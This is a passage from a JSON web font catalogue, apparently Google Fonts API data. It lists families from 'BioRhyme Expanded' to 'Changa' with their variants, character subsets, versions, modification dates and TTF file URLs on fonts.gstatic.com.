Expanded","variants":["200","300","regular","700","800"],"subsets":["latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/biorhymeexpanded/v6/i7dVIE1zZzytGswgU577CDY9LjbffxxcblSHSdTXrb_z.ttf","300":"http://fonts.gstatic.com/s/biorhymeexpanded/v6/i7dVIE1zZzytGswgU577CDY9Ljbffxw4bVSHSdTXrb_z.ttf","regular":"http://fonts.gstatic.com/s/biorhymeexpanded/v6/i7dQIE1zZzytGswgU577CDY9LjbffySURXCPYsje.ttf","700":"http://fonts.gstatic.com/s/biorhymeexpanded/v6/i7dVIE1zZzytGswgU577CDY9LjbffxwoalSHSdTXrb_z.ttf","800":"http://fonts.gstatic.com/s/biorhymeexpanded/v6/i7dVIE1zZzytGswgU577CDY9Ljbffxw0aVSHSdTXrb_z.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Biryani","variants":["200","300","regular","600","700","800","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/biryani/v6/hv-TlzNxIFoO84YddYQyGTBSU-J-RxQ.ttf","300":"http://fonts.gstatic.com/s/biryani/v6/hv-TlzNxIFoO84YddeAxGTBSU-J-RxQ.ttf","regular":"http://fonts.gstatic.com/s/biryani/v6/hv-WlzNxIFoO84YdTUwZPTh5T-s.ttf","600":"http://fonts.gstatic.com/s/biryani/v6/hv-TlzNxIFoO84YddZQ3GTBSU-J-RxQ.ttf","700":"http://fonts.gstatic.com/s/biryani/v6/hv-TlzNxIFoO84YddfA2GTBSU-J-RxQ.ttf","800":"http://fonts.gstatic.com/s/biryani/v6/hv-TlzNxIFoO84Yddew1GTBSU-J-RxQ.ttf","900":"http://fonts.gstatic.com/s/biryani/v6/hv-TlzNxIFoO84Yddcg0GTBSU-J-RxQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Bitter","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-07-29","files":{"100":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8fbeCL_EXFh2reU.ttf","200":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8XbfCL_EXFh2reU.ttf","300":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8ajfCL_EXFh2reU.ttf","regular":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8fbfCL_EXFh2reU.ttf","500":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8cTfCL_EXFh2reU.ttf","600":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8SjYCL_EXFh2reU.ttf","700":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8RHYCL_EXFh2reU.ttf","800":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8XbYCL_EXFh2reU.ttf","900":"http://fonts.gstatic.com/s/bitter/v16/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8V_YCL_EXFh2reU.ttf","100italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6c4P3OWHpzveWxBw.ttf","200italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6cYPzOWHpzveWxBw.ttf","300italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6cvvzOWHpzveWxBw.ttf","italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6c4PzOWHpzveWxBw.ttf","500italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6c0vzOWHpzveWxBw.ttf","600italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6cPvvOWHpzveWxBw.ttf","700italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6cB_vOWHpzveWxBw.ttf","800italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6cYPvOWHpzveWxBw.ttf","900italic":"http://fonts.gstatic.com/s/bitter/v16/raxjHiqOu8IVPmn7epZnDMyKBvHf5D6cSfvOWHpzveWxBw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Black And White Picture","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/blackandwhitepicture/v8/TwMe-JAERlQd3ooUHBUXGmrmioKjjnRSFO-NqI5HbcMi-yWY.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Black Han Sans","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/blackhansans/v8/ea8Aad44WunzF9a-dL6toA8r8nqVIXSkH-Hc.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Black Ops One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/blackopsone/v12/qWcsB6-ypo7xBdr6Xshe96H3WDzRtjkho4M.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Blinker","variants":["100","200","300","regular","600","700","800","900"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/blinker/v4/cIf_MaFatEE-VTaP_E2hZEsCkIt9QQ.ttf","200":"http://fonts.gstatic.com/s/blinker/v4/cIf4MaFatEE-VTaP_OGARGEsnIJkWL4.ttf","300":"http://fonts.gstatic.com/s/blinker/v4/cIf4MaFatEE-VTaP_IWDRGEsnIJkWL4.ttf","regular":"http://fonts.gstatic.com/s/blinker/v4/cIf9MaFatEE-VTaPxCmrYGkHgIs.ttf","600":"http://fonts.gstatic.com/s/blinker/v4/cIf4MaFatEE-VTaP_PGFRGEsnIJkWL4.ttf","700":"http://fonts.gstatic.com/s/blinker/v4/cIf4MaFatEE-VTaP_JWERGEsnIJkWL4.ttf","800":"http://fonts.gstatic.com/s/blinker/v4/cIf4MaFatEE-VTaP_ImHRGEsnIJkWL4.ttf","900":"http://fonts.gstatic.com/s/blinker/v4/cIf4MaFatEE-VTaP_K2GRGEsnIJkWL4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Bokor","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bokor/v13/m8JcjfpeeaqTiR2WdInbcaxE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bonbon","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bonbon/v12/0FlVVPeVlFec4ee_cDEAbQY5-A.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Boogaloo","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/boogaloo/v12/kmK-Zq45GAvOdnaW6x1F_SrQo_1K.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bowlby One","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bowlbyone/v12/taiPGmVuC4y96PFeqp8smo6C_Z0wcK4.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bowlby One SC","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/bowlbyonesc/v12/DtVlJxerQqQm37tzN3wMug9Pzgj8owhNjuE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Brawler","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/brawler/v11/xn7gYHE3xXewAscGsgC7S9XdZN8.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Bree Serif","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/breeserif/v10/4UaHrEJCrhhnVA3DgluAx63j5pN1MwI.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Bubblegum Sans","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bubblegumsans/v9/AYCSpXb_Z9EORv1M5QTjEzMEtdaHzoPPb7R4.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bubbler One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bubblerone/v9/f0Xy0eqj68ppQV9KBLmAouHH26MPePkt.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Buda","variants":["300"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/buda/v11/GFDqWAN8mnyIJSSrG7UBr7pZKA0.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Buenard","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/buenard/v12/OD5DuM6Cyma8FnnsPzf9qGi9HL4.ttf","700":"http://fonts.gstatic.com/s/buenard/v12/OD5GuM6Cyma8FnnsB4vSjGCWALepwss.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Bungee","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/bungee/v6/N0bU2SZBIuF2PU_ECn50Kd_PmA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bungee Hairline","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bungeehairline/v6/snfys0G548t04270a_ljTLUVrv-7YB2dQ5ZPqQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bungee Inline","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bungeeinline/v6/Gg8zN58UcgnlCweMrih332VuDGJ1-FEglsc.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bungee Outline","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bungeeoutline/v6/_6_mEDvmVP24UvU2MyiGDslL3Qg3YhJqPXxo.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bungee Shade","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bungeeshade/v6/DtVkJxarWL0t2KdzK3oI_jks7iLSrwFUlw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Butcherman","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/butcherman/v12/2EbiL-thF0loflXUBOdb1zWzq_5uT84.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Butterfly Kids","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/butterflykids/v9/ll8lK2CWTjuqAsXDqlnIbMNs5S4arxFrAX1D.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Cabin","variants":["regular","500","600","700","italic","500italic","600italic","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v17","lastModified":"2020-09-29","files":{"regular":"http://fonts.gstatic.com/s/cabin/v17/u-4X0qWljRw-PfU81xCKCpdpbgZJl6XFpfEd7eA9BIxxkV2EL7Gvxm7rE_s.ttf","500":"http://fonts.gstatic.com/s/cabin/v17/u-4X0qWljRw-PfU81xCKCpdpbgZJl6XFpfEd7eA9BIxxkW-EL7Gvxm7rE_s.ttf","600":"http://fonts.gstatic.com/s/cabin/v17/u-4X0qWljRw-PfU81xCKCpdpbgZJl6XFpfEd7eA9BIxxkYODL7Gvxm7rE_s.ttf","700":"http://fonts.gstatic.com/s/cabin/v17/u-4X0qWljRw-PfU81xCKCpdpbgZJl6XFpfEd7eA9BIxxkbqDL7Gvxm7rE_s.ttf","italic":"http://fonts.gstatic.com/s/cabin/v17/u-4V0qWljRw-Pd815fNqc8T_wAFcX-c37MPiNYlWniJ2hJXHx_KlwkzuA_u1Bg.ttf","500italic":"http://fonts.gstatic.com/s/cabin/v17/u-4V0qWljRw-Pd815fNqc8T_wAFcX-c37MPiNYlWniJ2hJXH9fKlwkzuA_u1Bg.ttf","600italic":"http://fonts.gstatic.com/s/cabin/v17/u-4V0qWljRw-Pd815fNqc8T_wAFcX-c37MPiNYlWniJ2hJXHGfWlwkzuA_u1Bg.ttf","700italic":"http://fonts.gstatic.com/s/cabin/v17/u-4V0qWljRw-Pd815fNqc8T_wAFcX-c37MPiNYlWniJ2hJXHIPWlwkzuA_u1Bg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cabin Condensed","variants":["regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v14","lastModified":"2020-09-29","files":{"regular":"http://fonts.gstatic.com/s/cabincondensed/v14/nwpMtK6mNhBK2err_hqkYhHRqmwaYOjZ5HZl8Q.ttf","500":"http://fonts.gstatic.com/s/cabincondensed/v14/nwpJtK6mNhBK2err_hqkYhHRqmwilMH97F15-K1oqQ.ttf","600":"http://fonts.gstatic.com/s/cabincondensed/v14/nwpJtK6mNhBK2err_hqkYhHRqmwiuMb97F15-K1oqQ.ttf","700":"http://fonts.gstatic.com/s/cabincondensed/v14/nwpJtK6mNhBK2err_hqkYhHRqmwi3Mf97F15-K1oqQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cabin Sketch","variants":["regular","700"],"subsets":["latin"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cabinsketch/v14/QGYpz_kZZAGCONcK2A4bGOjMn9JM6fnuKg.ttf","700":"http://fonts.gstatic.com/s/cabinsketch/v14/QGY2z_kZZAGCONcK2A4bGOj0I_1o4dLyI4CMFw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Caesar Dressing","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/caesardressing/v9/yYLx0hLa3vawqtwdswbotmK4vrR3cbb6LZttyg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cagliostro","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cagliostro/v9/ZgNWjP5HM73BV5amnX-TjGXEM4COoE4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cairo","variants":["200","300","regular","600","700","900"],"subsets":["arabic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-25","files":{"200":"http://fonts.gstatic.com/s/cairo/v9/SLXLc1nY6Hkvalrub76M7dd8aGZk.ttf","300":"http://fonts.gstatic.com/s/cairo/v9/SLXLc1nY6HkvalqKbL6M7dd8aGZk.ttf","regular":"http://fonts.gstatic.com/s/cairo/v9/SLXGc1nY6HkvamImRJqExst1.ttf","600":"http://fonts.gstatic.com/s/cairo/v9/SLXLc1nY6Hkvalr-ar6M7dd8aGZk.ttf","700":"http://fonts.gstatic.com/s/cairo/v9/SLXLc1nY6Hkvalqaa76M7dd8aGZk.ttf","900":"http://fonts.gstatic.com/s/cairo/v9/SLXLc1nY6Hkvalqiab6M7dd8aGZk.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Caladea","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/caladea/v2/kJEzBugZ7AAjhybUjR93-9IztOc.ttf","italic":"http://fonts.gstatic.com/s/caladea/v2/kJExBugZ7AAjhybUvR19__A2pOdvDA.ttf","700":"http://fonts.gstatic.com/s/caladea/v2/kJE2BugZ7AAjhybUtaNY39oYqO52FZ0.ttf","700italic":"http://fonts.gstatic.com/s/caladea/v2/kJE0BugZ7AAjhybUvR1FQ98SrMxzBZ2lDA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Calistoga","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-12-08","files":{"regular":"http://fonts.gstatic.com/s/calistoga/v3/6NUU8F2OJg6MeR7l4e0vtMYAwdRZfw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Calligraffitti","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/calligraffitti/v12/46k2lbT3XjDVqJw3DCmCFjE0vnFZM5ZBpYN-.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Cambay","variants":["regular","italic","700","700italic"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cambay/v7/SLXJc1rY6H0_ZDsGbrSIz9JsaA.ttf","italic":"http://fonts.gstatic.com/s/cambay/v7/SLXLc1rY6H0_ZDs2bL6M7dd8aGZk.ttf","700":"http://fonts.gstatic.com/s/cambay/v7/SLXKc1rY6H0_ZDs-0pusx_lwYX99kA.ttf","700italic":"http://fonts.gstatic.com/s/cambay/v7/SLXMc1rY6H0_ZDs2bIYwwvN0Q3ptkDMN.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cambo","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cambo/v9/IFSqHeNEk8FJk416ok7xkPm8.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Candal","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/candal/v10/XoHn2YH6T7-t_8cNAR4Jt9Yxlw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cantarell","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cantarell/v10/B50NF7ZDq37KMUvlO01Ji6hqHK-CLA.ttf","italic":"http://fonts.gstatic.com/s/cantarell/v10/B50LF7ZDq37KMUvlO015iaJuPqqSLJYf.ttf","700":"http://fonts.gstatic.com/s/cantarell/v10/B50IF7ZDq37KMUvlO01xN4dOFISeJY8GgQ.ttf","700italic":"http://fonts.gstatic.com/s/cantarell/v10/B50WF7ZDq37KMUvlO015iZrSEY6aB4oWgWHB.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cantata One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cantataone/v10/PlI5Fl60Nb5obNzNe2jslVxEt8CwfGaD.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cantora One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cantoraone/v10/gyB4hws1JdgnKy56GB_JX6zdZ4vZVbgZ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Capriola","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/capriola/v8/wXKoE3YSppcvo1PDln_8L-AinG8y.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cardo","variants":["regular","italic","700"],"subsets":["greek","greek-ext","latin","latin-ext"],"version":"v13","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/cardo/v13/wlp_gwjKBV1pqiv_1oAZ2H5O.ttf","italic":"http://fonts.gstatic.com/s/cardo/v13/wlpxgwjKBV1pqhv93IQ73W5OcCk.ttf","700":"http://fonts.gstatic.com/s/cardo/v13/wlpygwjKBV1pqhND-aQR82JHaTBX.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Carme","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/carme/v11/ptRHTiWdbvZIDOjGxLNrxfbZ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Carrois Gothic","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/carroisgothic/v11/Z9XPDmFATg-N1PLtLOOxvIHl9ZmD3i7ajcJ-.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Carrois Gothic SC","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/carroisgothicsc/v10/ZgNJjOVHM6jfUZCmyUqT2A2HVKjc-28nNHabY4dN.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Carter One","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/carterone/v12/q5uCsoe5IOB2-pXv9UcNIxR2hYxREMs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Castoro","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/castoro/v1/1q2GY5yMCld3-O4cHYhEzOYenEU.ttf","italic":"http://fonts.gstatic.com/s/castoro/v1/1q2EY5yMCld3-O4cLYpOyMQbjEX5fw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Catamaran","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","tamil"],"version":"v7","lastModified":"2020-07-29","files":{"100":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPHjc1anXuluiLyw.ttf","200":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPPjd1anXuluiLyw.ttf","300":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPCbd1anXuluiLyw.ttf","regular":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPHjd1anXuluiLyw.ttf","500":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPErd1anXuluiLyw.ttf","600":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPKba1anXuluiLyw.ttf","700":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPJ_a1anXuluiLyw.ttf","800":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPPja1anXuluiLyw.ttf","900":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPNHa1anXuluiLyw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Caudex","variants":["regular","italic","700","700italic"],"subsets":["greek","greek-ext","latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/caudex/v10/esDQ311QOP6BJUrIyviAnb4eEw.ttf","italic":"http://fonts.gstatic.com/s/caudex/v10/esDS311QOP6BJUr4yPKEv7sOE4in.ttf","700":"http://fonts.gstatic.com/s/caudex/v10/esDT311QOP6BJUrwdteklZUCGpG-GQ.ttf","700italic":"http://fonts.gstatic.com/s/caudex/v10/esDV311QOP6BJUr4yMo4kJ8GOJSuGdLB.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Caveat","variants":["regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v9","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/caveat/v9/WnznHAc5bAfYB2QRah7pcpNvOx-pjfJ9SIKjYBxPigs.ttf","500":"http://fonts.gstatic.com/s/caveat/v9/WnznHAc5bAfYB2QRah7pcpNvOx-pjcB9SIKjYBxPigs.ttf","600":"http://fonts.gstatic.com/s/caveat/v9/WnznHAc5bAfYB2QRah7pcpNvOx-pjSx6SIKjYBxPigs.ttf","700":"http://fonts.gstatic.com/s/caveat/v9/WnznHAc5bAfYB2QRah7pcpNvOx-pjRV6SIKjYBxPigs.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Caveat Brush","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/caveatbrush/v6/EYq0maZfwr9S9-ETZc3fKXtMW7mT03pdQw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Cedarville Cursive","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cedarvillecursive/v12/yYL00g_a2veiudhUmxjo5VKkoqA-B_neJbBxw8BeTg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Ceviche One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cevicheone/v11/gyB4hws1IcA6JzR-GB_JX6zdZ4vZVbgZ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chakra Petch","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/chakrapetch/v4/cIflMapbsEk7TDLdtEz1BwkeNIhFQJXE3AY00g.ttf","300italic":"http://fonts.gstatic.com/s/chakrapetch/v4/cIfnMapbsEk7TDLdtEz1BwkWmpLJQp_A_gMk0izH.ttf","regular":"http://fonts.gstatic.com/s/chakrapetch/v4/cIf6MapbsEk7TDLdtEz1BwkmmKBhSL7Y1Q.ttf","italic":"http://fonts.gstatic.com/s/chakrapetch/v4/cIfkMapbsEk7TDLdtEz1BwkWmqplarvI1R8t.ttf","500":"http://fonts.gstatic.com/s/chakrapetch/v4/cIflMapbsEk7TDLdtEz1BwkebIlFQJXE3AY00g.ttf","500italic":"http://fonts.gstatic.com/s/chakrapetch/v4/cIfnMapbsEk7TDLdtEz1BwkWmpKRQ5_A_gMk0izH.ttf","600":"http://fonts.gstatic.com/s/chakrapetch/v4/cIflMapbsEk7TDLdtEz1BwkeQI5FQJXE3AY00g.ttf","600italic":"http://fonts.gstatic.com/s/chakrapetch/v4/cIfnMapbsEk7TDLdtEz1BwkWmpK9RJ_A_gMk0izH.ttf","700":"http://fonts.gstatic.com/s/chakrapetch/v4/cIflMapbsEk7TDLdtEz1BwkeJI9FQJXE3AY00g.ttf","700italic":"http://fonts.gstatic.com/s/chakrapetch/v4/cIfnMapbsEk7TDLdtEz1BwkWmpLZRZ_A_gMk0izH.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Changa","variants":["200","300","regular","500","600","700","800"],"subsets":["arabic","latin","latin-ext"],"version":"v10","lastModified":"2020-06-26","files":{"200":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZy2xQjDp9htf1ZM.ttf","300":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZ_OxQjDp9htf1ZM.ttf","regular":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZ62xQjDp9htf1ZM.ttf","500":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZ5-xQjDp9htf1ZM.ttf","600":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZ3O2QjDp9htf1ZM.ttf","700":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZ0q2QjDp9htf1ZM.ttf","800":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZy22QjDp9htf1ZM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Changa 